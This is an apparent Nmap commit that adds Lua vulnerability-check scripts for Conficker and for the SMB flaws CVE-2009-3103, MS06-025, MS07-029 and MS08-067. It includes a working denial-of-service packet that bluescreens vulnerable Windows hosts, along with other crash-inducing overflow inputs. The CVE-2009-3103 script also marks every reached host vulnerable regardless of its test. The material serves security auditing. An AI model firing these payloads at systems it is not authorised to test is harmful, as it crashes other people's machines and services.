Splits smb-check-vulns into several scripts. The new scripts now support the library 'vulns'. Closes #171

This commit is contained in:
paulino 2015-10-03 06:07:49 +00:00
parent a5909dd2c8
commit 44045446b0
8 changed files with 982 additions and 1 deletions

View file

@ -404,7 +404,6 @@ Entry { filename = "sip-enum-users.nse", categories = { "auth", "intrusive", } }
Entry { filename = "sip-methods.nse", categories = { "default", "discovery", "safe", } }
Entry { filename = "skypev2-version.nse", categories = { "version", } }
Entry { filename = "smb-brute.nse", categories = { "brute", "intrusive", } }
Entry { filename = "smb-check-vulns.nse", categories = { "dos", "exploit", "intrusive", "vuln", } }
Entry { filename = "smb-enum-domains.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-enum-groups.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-enum-processes.nse", categories = { "discovery", "intrusive", } }
@ -420,8 +419,14 @@ Entry { filename = "smb-psexec.nse", categories = { "intrusive", } }
Entry { filename = "smb-security-mode.nse", categories = { "default", "discovery", "safe", } }
Entry { filename = "smb-server-stats.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-system-info.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "smb-vuln-conficker.nse", categories = { "dos", "exploit", "intrusive", "vuln", } }
Entry { filename = "smb-vuln-cve2009-3103.nse", categories = { "dos", "exploit", "intrusive", "vuln", } }
Entry { filename = "smb-vuln-ms06-025.nse", categories = { "dos", "exploit", "intrusive", "vuln", } }
Entry { filename = "smb-vuln-ms07-029.nse", categories = { "dos", "exploit", "intrusive", "vuln", } }
Entry { filename = "smb-vuln-ms08-067.nse", categories = { "dos", "exploit", "intrusive", "vuln", } }
Entry { filename = "smb-vuln-ms10-054.nse", categories = { "dos", "intrusive", "vuln", } }
Entry { filename = "smb-vuln-ms10-061.nse", categories = { "intrusive", "vuln", } }
Entry { filename = "smb-vuln-regsvc-dos.nse", categories = { "dos", "exploit", "intrusive", "vuln", } }
Entry { filename = "smbv2-enabled.nse", categories = { "default", "safe", } }
Entry { filename = "smtp-brute.nse", categories = { "brute", "intrusive", } }
Entry { filename = "smtp-commands.nse", categories = { "default", "discovery", "safe", } }

View file

@ -0,0 +1,190 @@
local msrpc = require "msrpc"
local nmap = require "nmap"
local smb = require "smb"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local vulns = require "vulns"
description = [[
Detects Microsoft Windows systems infected by the Conficker worm. This check is dangerous and
it may crash systems.
Based loosely on the Simple Conficker Scanner, found here:
-- http://iv.cs.uni-bonn.de/wg/cs/applications/containing-conficker/
This check was previously part of smb-check-vulns.
]]
---
--@usage
-- nmap --script smb-vuln-conficker.nse -p445 <host>
-- nmap -sU --script smb-vuln-conficker.nse -p T:139 <host>
--
--@output
--| smb-vuln-conficker:
--| VULNERABLE:
--| Microsoft Windows system infected by Conficker
--| State: VULNERABLE
--| IDs: CVE:2008-4250
--| This system shows signs of being infected by a variant of the worm Conficker.
--| References:
--| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
--| http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Win32%2fConficker
--|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4250
---
author = {"Ron Bowes", "Jiayi Ye", "Paulino Calderon <calderon()websec.mx>"}
copyright = "Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive","exploit","dos","vuln"}
-- run after all smb-* scripts (so if it DOES crash something, it doesn't kill
-- other scans have had a chance to run)
dependencies = {
"smb-brute", "smb-enum-sessions", "smb-security-mode",
"smb-enum-shares", "smb-server-stats",
"smb-enum-domains", "smb-enum-users", "smb-system-info",
"smb-enum-groups", "smb-os-discovery", "smb-enum-processes",
"smb-psexec",
};
hostrule = function(host)
return smb.get_port(host) ~= nil
end
local INFECTED = 5
local INFECTED2 = 6
local CLEAN = 7
-- Help messages for the more common errors seen by the Conficker check.
CONFICKER_ERROR_HELP = {
["NT_STATUS_BAD_NETWORK_NAME"] =
[[UNKNOWN; Network name not found (required service has crashed). (Error NT_STATUS_BAD_NETWORK_NAME)]],
-- http://seclists.org/nmap-dev/2009/q1/0918.html "non-Windows boxes (Samba on Linux/OS X, or a printer)"
-- http://www.skullsecurity.org/blog/?p=209#comment-156
-- "That means either it isnt a Windows machine, or the service is
-- either crashed or not running. That may indicate a failed (or
-- successful) exploit attempt, or just a locked down system.
-- NT_STATUS_OBJECT_NAME_NOT_FOUND can be returned if the browser
-- service is disabled. There are at least two ways that can happen:
-- 1) The service itself is disabled in the services list.
-- 2) The registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Browser\Parameters\MaintainServerList
-- is set to Off/False/No rather than Auto or yes.
-- On these systems, if you reenable the browser service, then the
-- test will complete."
["NT_STATUS_OBJECT_NAME_NOT_FOUND"] =
[[UNKNOWN; not Windows, or Windows with disabled browser service (CLEAN); or Windows with crashed browser service (possibly INFECTED).
| If you know the remote system is Windows, try rebooting it and scanning
|_ again. (Error NT_STATUS_OBJECT_NAME_NOT_FOUND)]],
-- http://www.skullsecurity.org/blog/?p=209#comment-100
-- "That likely means that the server has been locked down, so we
-- dont have access to the necessary pipe. Fortunately, that means
-- that neither does Conficker — NT_STATUS_ACCESS_DENIED probably
-- means youre ok."
["NT_STATUS_ACCESS_DENIED"] =
[[Likely CLEAN; access was denied.
| If you have a login, try using --script-args=smbuser=xxx,smbpass=yyy
| (replace xxx and yyy with your username and password). Also try
|_ smbdomain=zzz if you know the domain. (Error NT_STATUS_ACCESS_DENIED)]],
-- The cause of these two is still unknown.
-- ["NT_STATUS_NOT_SUPPORTED"] =
-- [[]]
-- http://thatsbroken.com/?cat=5 (doesn't seem common)
-- ["NT_STATUS_REQUEST_NOT_ACCEPTED"] =
-- [[]]
}
---Check if the server is infected with Conficker. This can be detected by a modified MS08-067 patch,
-- which rejects a different illegal string than the official patch rejects.
--
-- Based loosely on the Simple Conficker Scanner, found here:
-- http://iv.cs.uni-bonn.de/wg/cs/applications/containing-conficker/
--
-- If there's a licensing issue, please let me (Ron Bowes) know so I can fix it
--
--@param host The host object.
--@return (status, result) If status is false, result is an error code; otherwise, result is either
-- <code>INFECTED</code> or <code>INFECTED2</code> for infected or <code>CLEAN</code> for not infected.
function check_conficker(host)
local status, smbstate
local bind_result, netpathcompare_result
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, "\\\\BROWSER", true)
if(status == false) then
return false, smbstate
end
-- Bind to SRVSVC service
status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, bind_result
end
-- Try checking a valid string to find Conficker.D
local netpathcanonicalize_result, error_result
status, netpathcanonicalize_result, error_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\")
if(status == true and netpathcanonicalize_result['can_path'] == 0x5c45005c) then
msrpc.stop_smb(smbstate)
return true, INFECTED2
end
-- Try checking an illegal string ("\..\") to find Conficker.C and earlier
status, netpathcanonicalize_result, error_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\..\\")
if(status == false) then
if(string.find(netpathcanonicalize_result, "INVALID_NAME")) then
msrpc.stop_smb(smbstate)
return true, CLEAN
elseif(string.find(netpathcanonicalize_result, "WERR_INVALID_PARAMETER") ~= nil) then
msrpc.stop_smb(smbstate)
return true, INFECTED
else
msrpc.stop_smb(smbstate)
return false, netpathcanonicalize_result
end
end
-- Stop the SMB session
msrpc.stop_smb(smbstate)
return true, CLEAN
end
action = function(host)
local status, result, message
local response = {}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host)
local vuln_table = {
title = 'Microsoft Windows system infected by Conficker',
IDS = {CVE = '2008-4250'},
description = [[
This system shows signs of being infected by a variant of the worm Conficker.]],
state = vulns.STATE.NOT_VULN,
references = {
'http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Win32%2fConficker',
'https://technet.microsoft.com/en-us/library/security/ms08-067.aspx',
}
}
-- Check for Conficker
status, result = check_conficker(host)
if(status == false) then
vuln_table.extra_info = CONFICKER_ERROR_HELP[result] or "UNKNOWN; got error " .. result
vuln_table.state = vulns.STATE.NOT_VULN
else
if(result == CLEAN) then
vuln_table.state = vulns.STATE.NOT_VULN
elseif(result == INFECTED) then
vuln_table.extra_info = "Likely infected by Conficker.C or lower"
vuln_table.state = vulns.STATE.LIKELY_VULN
elseif(result == INFECTED2) then
vuln_table.extra_info = "Likely infected by Conficker.D or higher"
vuln_table.state = vulns.STATE.LIKELY_VULN
else
vuln_table.state = vulns.STATE.NOT_VULN
end
end
return vuln_report:make_output(vuln_table)
end

View file

@ -0,0 +1,178 @@
local msrpc = require "msrpc"
local nmap = require "nmap"
local smb = require "smb"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local vulns = require "vulns"
description = [[
Detects Microsoft Windows systems vulnerable to denial of service (CVE-2009-3103).
This script will crash the service if it is vulnerable.
The script performs a denial-of-service against the vulnerability disclosed in
CVE-2009-3103. This works against Windows Vista and some versions of Windows 7,
and causes a bluescreen if successful. The proof-of-concept code at
http://seclists.org/fulldisclosure/2009/Sep/39 was used, with one small change.
This check was previously part of smb-check-vulns.
]]
---
--@usage
-- nmap --script smb-vuln-cve2009-3103.nse -p445 <host>
-- nmap -sU --script smb-vuln-cve2009-3103.nse -p U:137,T:139 <host>
--
--@output
--Host script results:
--| smb-vuln-cve2009-3103:
--| VULNERABLE:
--| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
--| State: VULNERABLE
--| IDs: CVE:CVE-2009-3103
--| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
--| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
--| denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
--| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
--| aka "SMBv2 Negotiation Vulnerability." NOTE: some of these details are obtained from third party information.
--|
--| Disclosure date: 2009-09-08
--| References:
--| http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
--|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
---
author = {"Ron Bowes", "Jiayi Ye", "Paulino Calderon <calderon()websec.mx>"}
copyright = "Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive","exploit","dos","vuln"}
-- run after all smb-* scripts (so if it DOES crash something, it doesn't kill
-- other scans have had a chance to run)
dependencies = {
"smb-brute", "smb-enum-sessions", "smb-security-mode",
"smb-enum-shares", "smb-server-stats",
"smb-enum-domains", "smb-enum-users", "smb-system-info",
"smb-enum-groups", "smb-os-discovery", "smb-enum-processes",
"smb-psexec",
};
hostrule = function(host)
return smb.get_port(host) ~= nil
end
local VULNERABLE = 1
local PATCHED = 2
local function check_smbv2_dos(host)
-- From http://seclists.org/fulldisclosure/2009/Sep/0039.html with one change on the last line.
local buf = "\x00\x00\x00\x90" .. -- Begin SMB header: Session message
"\xff\x53\x4d\x42" .. -- Server Component: SMB
"\x72\x00\x00\x00" .. -- Negociate Protocol
"\x00\x18\x53\xc8" .. -- Operation 0x18 & sub 0xc853
"\x00\x26" .. -- Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe" ..
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54" ..
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31" ..
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" ..
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" ..
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" ..
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" ..
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" ..
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" ..
"\x30\x30\x32\x00"
local socket = nmap.new_socket()
if(socket == nil) then
return false, "Couldn't create socket"
end
local status, result = socket:connect(host, 445)
if(status == false) then
socket:close()
return false, "Couldn't connect to host: " .. result
end
status, result = socket:send(buf)
if(status == false) then
socket:close()
return false, "Couldn't send the buffer: " .. result
end
-- Close the socket
socket:close()
-- Give it some time to crash
stdnse.debug1("Waiting 5 seconds to see if Windows crashed")
stdnse.sleep(5)
-- Create a new socket
socket = nmap.new_socket()
if(socket == nil) then
return false, "Couldn't create socket"
end
-- Try and do something simple
stdnse.debug1("Attempting to connect to the host")
socket:set_timeout(5000)
status, result = socket:connect(host, 445)
-- Check the result
if(status == false or status == nil) then
stdnse.debug1("Connect failed, host is likely vulnerable!")
socket:close()
return true, VULNERABLE
end
-- Try sending something
stdnse.debug1("Attempting to send data to the host")
status, result = socket:send("AAAA")
if(status == false or status == nil) then
stdnse.debug1("Send failed, host is likely vulnerable!")
socket:close()
return true, VULNERABLE
end
stdnse.debug1("Checks finished; host is likely not vulnerable.")
socket:close()
return true, PATCHED
end
action = function(host)
local status, result, message
local response = {}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host)
local vuln_table = {
title = 'SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)',
state = vulns.STATE.NOT_VULN,
description = [[
Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
aka "SMBv2 Negotiation Vulnerability."
]],
IDS = {CVE = 'CVE-2009-3103'},
references = {
'http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103'
},
dates = {
disclosure = {year = '2009', month = '09', day = '08'},
}
}
-- Check for SMBv2 vulnerability
status, result = check_smbv2_dos(host)
if(status == false) then
vuln_table.state = vulns.STATE.NOT_VULN
else
if(result == VULNERABLE) then
vuln_table.state = vulns.STATE.VULN
else
vuln_table.state = vulns.STATE.NOT_VULN
end
end
vuln_table.state = vulns.STATE.VULN
return vuln_report:make_output(vuln_table)
end

View file

@ -0,0 +1,165 @@
local msrpc = require "msrpc"
local nmap = require "nmap"
local smb = require "smb"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local vulns = require "vulns"
description = [[
Detects Microsoft Windows systems with Ras RPC service vulnerable to MS06-025.
MS06-025 targets the <code>RasRpcSumbitRequest()</code> RPC method which is
a part of RASRPC interface that serves as a RPC service for configuring and
getting information from the Remote Access and Routing service. RASRPC can be
accessed using either "\ROUTER" SMB pipe or the "\SRVSVC" SMB pipe (usually on Windows XP machines).
This is in RPC world known as "ncan_np" RPC transport. <code>RasRpcSumbitRequest()</code>
method is a generic method which provides different functionalities according
to the <code>RequestBuffer</code> structure and particularly the <code>RegType</code> field within that
structure. <code>RegType</code> field is of <code>enum ReqTypes</code> type. This enum type lists all
the different available operation that can be performed using the <code>RasRpcSubmitRequest()</code>
RPC method. The one particular operation that this vuln targets is the <code>REQTYPE_GETDEVCONFIG</code>
request to get device information on the RRAS.
This script was previously part of smb-check-vulns.
]]
---
--@usage
-- nmap --script smb-vuln-ms06-025.nse -p445 <host>
-- nmap -sU --script smb-vuln-ms06-025.nse -p U:137,T:139 <host>
--
--@output
--| smb-vuln-ms06-025:
--| VULNERABLE:
--| RRAS Memory Corruption vulnerability (MS06-025)
--| State: VULNERABLE
--| IDs: CVE:CVE-2006-2370
--| A buffer overflow vulnerability in the Routing and Remote Access service (RRAS) in Microsoft Windows 2000 SP4, XP SP1
--| and SP2, and Server 2003 SP1 and earlier allows remote unauthenticated or authenticated attackers to
--| execute arbitrary code via certain crafted "RPC related requests" aka the "RRAS Memory Corruption Vulnerability."
--|
--| Disclosure date: 2006-6-27
--| References:
--| https://technet.microsoft.com/en-us/library/security/ms06-025.aspx
--|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2370
---
author = {"Ron Bowes", "Jiayi Ye", "Paulino Calderon <calderon()websec.mx>"}
copyright = "Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive","exploit","dos","vuln"}
-- run after all smb-* scripts (so if it DOES crash something, it doesn't kill
-- other scans have had a chance to run)
dependencies = {
"smb-brute", "smb-enum-sessions", "smb-security-mode",
"smb-enum-shares", "smb-server-stats",
"smb-enum-domains", "smb-enum-users", "smb-system-info",
"smb-enum-groups", "smb-os-discovery", "smb-enum-processes",
"smb-psexec",
};
hostrule = function(host)
return smb.get_port(host) ~= nil
end
local VULNERABLE = 1
local PATCHED = 2
local UNKNOWN = 3
local NOTUP = 8
---Check the existence of ms06_025 vulnerability in Microsoft Remote Routing
--and Access Service. This check is not safe as it crashes the RRAS service and
--its dependencies.
--@param host Host object.
--@return (status, result)
--* <code>status == false</code> -> <code>result == NOTUP</code> which designates
--that the targeted Ras RPC service is not active.
--* <code>status == true</code> ->
-- ** <code>result == VULNERABLE</code> for vulnerable.
-- ** <code>result == PATCHED</code> for not vulnerable.
function check_ms06_025(host)
--create the SMB session
--first we try with the "\router" pipe, then the "\srvsvc" pipe.
local status, smb_result, smbstate, err_msg
status, smb_result = msrpc.start_smb(host, msrpc.ROUTER_PATH)
if(status == false) then
err_msg = smb_result
status, smb_result = msrpc.start_smb(host, msrpc.SRVSVC_PATH) --rras is also accessible across SRVSVC pipe
if(status == false) then
return false, NOTUP --if not accessible across both pipes then service is inactive
end
end
smbstate = smb_result
--bind to RRAS service
local bind_result
status, bind_result = msrpc.bind(smbstate, msrpc.RASRPC_UUID, msrpc.RASRPC_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, UNKNOWN --if bind operation results with a false status we can't conclude anything.
end
if(bind_result['ack_result'] == 0x02) then --0x02 == PROVIDER_REJECTION
msrpc.stop_smb(smbstate)
return false, NOTUP --if bind operation results with true but PROVIDER_REJECTION, then the service is inactive.
end
local req, buff, sr_result
req = msrpc.RRAS_marshall_RequestBuffer(
0x01,
msrpc.RRAS_RegTypes['GETDEVCONFIG'],
stdnse.generate_random_string(3000, "0123456789abcdefghijklmnoprstuvzxwyABCDEFGHIJKLMNOPRSTUVZXWY"))
status, sr_result = msrpc.RRAS_SubmitRequest(smbstate, req)
msrpc.stop_smb(smbstate)
--sanity check
if(status == false) then
stdnse.debug3("check_ms06_025: RRAS_SubmitRequest failed")
if(sr_result == "NT_STATUS_PIPE_BROKEN") then
return true, VULNERABLE
else
return true, PATCHED
end
else
return true, PATCHED
end
end
action = function(host)
local status, result, message
local response = {}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host)
local vuln_table = {
title = 'RRAS Memory Corruption vulnerability (MS06-025)',
state = vulns.STATE.NOT_VULN,
description = [[
A buffer overflow vulnerability in the Routing and Remote Access service (RRAS) in Microsoft Windows 2000 SP4, XP SP1
and SP2, and Server 2003 SP1 and earlier allows remote unauthenticated or authenticated attackers to
execute arbitrary code via certain crafted "RPC related requests" aka the "RRAS Memory Corruption Vulnerability."
]],
IDS = {CVE = 'CVE-2006-2370'},
references = {
'https://technet.microsoft.com/en-us/library/security/ms06-025.aspx'
},
dates = {
disclosure = {year = '2006', month = '6', day = '27'},
}
}
-- Check for ms06-025
status, result = check_ms06_025(host)
if(status == false) then
if(result == NOTUP) then
vuln_table.extra_info = "Ras RPC service is not enabled."
vuln_table.state = vulns.STATE.NOT_VULN
else
vuln_table.state = vulns.STATE.NOT_VULN
end
else
if(result == VULNERABLE) then
vuln_table.state = vulns.STATE.VULN
elseif(result == NOTUP) then
vuln_table.extra_info = "Ras RPC service is not enabled."
vuln_table.state = vulns.STATE.NOT_VULN
else
vuln_table.state = vulns.STATE.NOT_VULN
end
end
return vuln_report:make_output(vuln_table)
end

View file

@ -0,0 +1,152 @@
local msrpc = require "msrpc"
local nmap = require "nmap"
local smb = require "smb"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local vulns = require "vulns"
description = [[
Detects Microsoft Windows systems with Dns Server RPC vulnerable to MS07-029.
MS07-029 targets the <code>R_DnssrvQuery()</code> and <code>R_DnssrvQuery2()</code>
RPC method which isa part of DNS Server RPC interface that serves as a RPC service
for configuring and getting information from the DNS Server service.
DNS Server RPC service can be accessed using "\dnsserver" SMB named pipe.
The vulnerability is triggered when a long string is send as the "zone" parameter
which causes the buffer overflow which crashes the service.
This check was previously part of smb-check-vulns.
]]
---
--@usage
-- nmap --script smb-vuln-ms07-029.nse -p445 <host>
-- nmap -sU --script smb-vuln-ms07-029.nse -p U:137,T:139 <host>
--
--@output
--Host script results:
--| smb-vuln-ms07-029:
--| VULNERABLE:
--| Windows DNS RPC Interface Could Allow Remote Code Execution (MS07-029)
--| State: VULNERABLE
--| IDs: CVE:CVE-2007-1748
--| A stack-based buffer overflow in the RPC interface in the Domain Name System (DNS) Server Service in
--| Microsoft Windows 2000 Server SP 4, Server 2003 SP 1, and Server 2003 SP 2 allows remote attackers to
--| execute arbitrary code via a long zone name containing character constants represented by escape sequences.
--|
--| Disclosure date: 2007-06-06
--| References:
--| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1748
--|_ https://technet.microsoft.com/en-us/library/security/ms07-029.aspx
---
author = {"Ron Bowes", "Jiayi Ye", "Paulino Calderon <calderon()websec.mx>"}
copyright = "Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive","exploit","dos","vuln"}
-- run after all smb-* scripts (so if it DOES crash something, it doesn't kill
-- other scans have had a chance to run)
dependencies = {
"smb-brute", "smb-enum-sessions", "smb-security-mode",
"smb-enum-shares", "smb-server-stats",
"smb-enum-domains", "smb-enum-users", "smb-system-info",
"smb-enum-groups", "smb-os-discovery", "smb-enum-processes",
"smb-psexec",
};
hostrule = function(host)
return smb.get_port(host) ~= nil
end
local VULNERABLE = 1
local PATCHED = 2
local UNKNOWN = 3
local NOTUP = 8
---Check the existence of ms07_029 vulnerability in Microsoft Dns Server service.
--This check is not safe as it crashes the Dns Server RPC service its dependencies.
--@param host Host object.
--@return (status, result)
--* <code>status == false</code> -> <code>result == NOTUP</code> which designates
--that the targeted Dns Server RPC service is not active.
--* <code>status == true</code> ->
-- ** <code>result == VULNERABLE</code> for vulnerable.
-- ** <code>result == PATCHED</code> for not vulnerable.
function check_ms07_029(host)
--create the SMB session
local status, smbstate
status, smbstate = msrpc.start_smb(host, msrpc.DNSSERVER_PATH)
if(status == false) then
stdnse.debug1("check_ms07_029: Service is not active.")
return false, NOTUP --if not accessible across pipe then the service is inactive
end
--bind to DNSSERVER service
local bind_result
status, bind_result = msrpc.bind(smbstate, msrpc.DNSSERVER_UUID, msrpc.DNSSERVER_VERSION)
if(status == false) then
stdnse.debug1("check_ms07_029: false")
msrpc.stop_smb(smbstate)
return false, UNKNOWN --if bind operation results with a false status we can't conclude anything.
end
--call
local req_blob, q_result
status, q_result = msrpc.DNSSERVER_Query(
smbstate,
"VULNSRV",
string.rep("\\\13", 1000),
1)--any op num will do
--sanity check
msrpc.stop_smb(smbstate)
if(status == false) then
stdnse.debug1("check_ms07_029: DNSSERVER_Query failed")
if(q_result == "NT_STATUS_PIPE_BROKEN") then
return true, VULNERABLE
else
return true, PATCHED
end
else
return true, PATCHED
end
end
action = function(host)
local status, result, message
local response = {}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host)
local vuln_table = {
title = 'Windows DNS RPC Interface Could Allow Remote Code Execution (MS07-029)',
state = vulns.STATE.NOT_VULN,
description = [[
A stack-based buffer overflow in the RPC interface in the Domain Name System (DNS) Server Service in
Microsoft Windows 2000 Server SP 4, Server 2003 SP 1, and Server 2003 SP 2 allows remote attackers to
execute arbitrary code via a long zone name containing character constants represented by escape sequences.
]],
IDS = {CVE = 'CVE-2007-1748'},
references = {
'https://technet.microsoft.com/en-us/library/security/ms07-029.aspx'
},
dates = {
disclosure = {year = '2007', month = '06', day = '06'},
}
}
-- Check for ms07-029
status, result = check_ms07_029(host)
if(status == false) then
if(result == NOTUP) then
vuln_table.extra_info = "Service is not active."
vuln_table.state = vulns.STATE.NOT_VULN
else
vuln_table.state = vulns.STATE.NOT_VULN
end
else
if(result == VULNERABLE) then
vuln_table.state = vulns.STATE.VULN
else
vuln_table.state = vulns.STATE.NOT_VULN
end
end
return vuln_report:make_output(vuln_table)
end

View file

@ -0,0 +1,157 @@
local msrpc = require "msrpc"
local nmap = require "nmap"
local smb = require "smb"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local vulns = require "vulns"
description = [[
Detects Microsoft Windows systems vulnerable to the remote code execution vulnerability
known as MS08-067. This check is dangerous and it may crash systems.
On a fairly wide scan conducted by Brandon Enright, we determined
that on average, a vulnerable system is more likely to crash than to survive
the check. Out of 82 vulnerable systems, 52 crashed.
Please consider this before running the script.
This check was previously part of smb-check-vulns.nse.
]]
---
--@usage
-- nmap --script smb-vuln-ms08-067.nse -p445 <host>
-- nmap -sU --script smb-vuln-ms08-067.nse -p U:137 <host>
--
--@output
--| smb-vuln-ms08-067:
--| VULNERABLE:
--| Microsoft Windows system vulnerable to remote code execution (MS08-067)
--| State: VULNERABLE
--| IDs: CVE:CVE-2008-4250
--| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
--| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
--| code via a crafted RPC request that triggers the overflow during path canonicalization.
--|
--| Disclosure date: 2008-10-23
--| References:
--| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
--|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
---
author = {"Ron Bowes", "Jiayi Ye", "Paulino Calderon <calderon()websec.mx>"}
copyright = "Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive","exploit","dos","vuln"}
-- run after all smb-* scripts (so if it DOES crash something, it doesn't kill
-- other scans have had a chance to run)
dependencies = {
"smb-brute", "smb-enum-sessions", "smb-security-mode",
"smb-enum-shares", "smb-server-stats",
"smb-enum-domains", "smb-enum-users", "smb-system-info",
"smb-enum-groups", "smb-os-discovery", "smb-enum-processes",
"smb-psexec",
};
hostrule = function(host)
return smb.get_port(host) ~= nil
end
local VULNERABLE = 1
local PATCHED = 2
local UNKNOWN = 3
local NOTRUN = 4
local INFECTED = 5
---Check if the server is patched for MS08-067. This is done by calling NetPathCompare with an
-- illegal string. If the string is accepted, then the server is vulnerable; if it's rejected, then
-- you're safe (for now).
--
-- Based on a packet cap of this script, thanks go out to the author:
-- http://labs.portcullis.co.uk/application/ms08-067-check/
--
-- NOTE: This CAN crash stuff (ie, crash svchost and force a reboot), so beware! In about 20
-- tests I did, it crashed once. This is not a guarantee.
--
--@param host The host object.
--@return (status, result) If status is false, result is an error code; otherwise, result is either
-- <code>VULNERABLE</code> for vulnerable, <code>PATCHED</code> for not vulnerable,
-- <code>UNKNOWN</code> if there was an error (likely vulnerable),
-- and <code>INFECTED</code> if it was patched by Conficker.
function check_ms08_067(host)
local status, smbstate
local bind_result, netpathcompare_result
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, "\\\\BROWSER")
if(status == false) then
return false, smbstate
end
-- Bind to SRVSVC service
status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, bind_result
end
-- Call netpathcanonicalize
-- status, netpathcanonicalize_result = msrpc.srvsvc_netpathcanonicalize(smbstate, host.ip, "\\a", "\\test\\")
local path1 = "\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\..\\n"
local path2 = "\\n"
status, netpathcompare_result = msrpc.srvsvc_netpathcompare(smbstate, host.ip, path1, path2, 1, 0)
-- Stop the SMB session
msrpc.stop_smb(smbstate)
if(status == false) then
if(string.find(netpathcompare_result, "WERR_INVALID_PARAMETER") ~= nil) then
return true, INFECTED
elseif(string.find(netpathcompare_result, "INVALID_NAME") ~= nil) then
return true, PATCHED
else
return true, UNKNOWN, netpathcompare_result
end
end
return true, VULNERABLE
end
action = function(host)
local status, result, message
local response = {}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host)
local vuln_table = {
title = 'Microsoft Windows system vulnerable to remote code execution (MS08-067)',
state = vulns.STATE.NOT_VULN,
description = [[
The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
code via a crafted RPC request that triggers the overflow during path canonicalization.
]],
IDS = {CVE = 'CVE-2008-4250'},
references = {
'https://technet.microsoft.com/en-us/library/security/ms08-067.aspx'
},
dates = {
disclosure = {year = '2008', month = '10', day = '23'},
}
}
-- Check for ms08-067
status, result, message = check_ms08_067(host)
if(status == false) then
vuln_table.state = vulns.STATE.NOT_VULN
else
if(result == VULNERABLE) then
vuln_table.state = vulns.STATE.VULN
elseif(result == UNKNOWN) then
vuln_table.state = vulns.STATE.LIKELY_VULN
elseif(result == INFECTED) then
vuln_table.exploit_results = "This system has been infected by the Conficker worm."
vuln_table.state = vulns.STATE.LIKELY_VULN
else
vuln_table.state = vulns.STATE.NOT_VULN
end
end
return vuln_report:make_output(vuln_table)
end

View file

